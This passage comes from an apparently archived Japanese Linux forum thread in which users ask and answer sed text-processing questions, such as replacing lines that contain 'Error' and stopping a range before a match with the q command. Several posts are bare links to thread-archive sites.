08/11/10 02:48:47 oBt1rply
>>132
入れ替えって何と何を入れ替えるの?
#### の行を先に出力したいってこと?
134:login:Penguin
08/11/10 05:23:57 Vv2a12Zc
>>133
例えば、以下のようなテキストがあった場合
111
222
Error 333
444
555
「Error」がある行に,「### Check Line ###」という行に入れ替えたいです。
以下のようなイメージです。
111
222
### Check Line ###
444
555
135:login:Penguin
08/11/10 05:33:29 e8TF6STv
iじゃなくてc使う
136:login:Penguin
08/11/11 21:48:17 DQj2Ej4A
>>135
遅くなりましたが有難うございました!
137:login:Penguin
08/11/15 16:52:59 FFNCNb8R
ナイスなスレだな
138:login:Penguin
08/12/02 10:28:40 2vyuRZ6k
なぜawkを使わない?
139:login:Penguin
08/12/03 01:46:50 O9/K8qme
下記のtest.datから、
[1が出現してから3が出現するまでの行]はアドレス範囲を使えば簡単に取得できますが
$ sed -n -e '/^1/,/^3/p' test.dat
[1が出現してから3が出現する前の行]を取得するにはどうやるのでしょうか?
$ sed -n -e '/^1/,/^3/p' test.dat | sed -e '$d'
でもいいのですが、1回のsedで済ますにはどうすればよいでしょう?
$ cat >test.dat
0
1
2
3
4
5
^D
140:login:Penguin
08/12/03 02:53:15 1xcvKxcT
>>139
sed -ne '/1/,/3/{/3/q; p'
141:139
08/12/03 08:40:11 O9/K8qme
>>140
こういう時にqを使うんだ。
物凄く恥ずかしながら、目から鱗状態です。
2週間の間、何度も思い出しては考えても分からなかったので質問してみた。
ありがとう。
142: [―{}@{}@{}-] login:Penguin
09/04/08 08:59:15 DR9diDX0
URLリンク(unkar.jp)
m(_ _)m
143: [―{}@{}@{}-] login:Penguin
09/04/08 09:00:09 DR9diDX0
URLリンク(unkar.jp)
144: [―{}@{}@{}-] login:Penguin
09/04/08 09:01:33 DR9diDX0
URLリンク(unkar.jp)
145: [―{}@{}@{}-] login:Penguin
09/04/08 09:04:26 DR9diDX0
URLリンク(www.23ch.info)
146: [―{}@{}@{}-] login:Penguin
09/04/08 09:08:12 DR9diDX0
URLリンク(www.23ch.info)
147:login:Penguin
10/06/01 16:15:16 8+L/+i95
i=`echo $i|sed -e 's/^\([^ ]*\)\/$/\1/p' -e d`
スクリプト中のこの1文の意味が良く分かりません。
どういう処理をしているのか教えていただけないでしょうか。
148:login:Penguin
10/06/01 23:50:47 AqF3qhLQ
>>147
スレリンク(linux板:109番)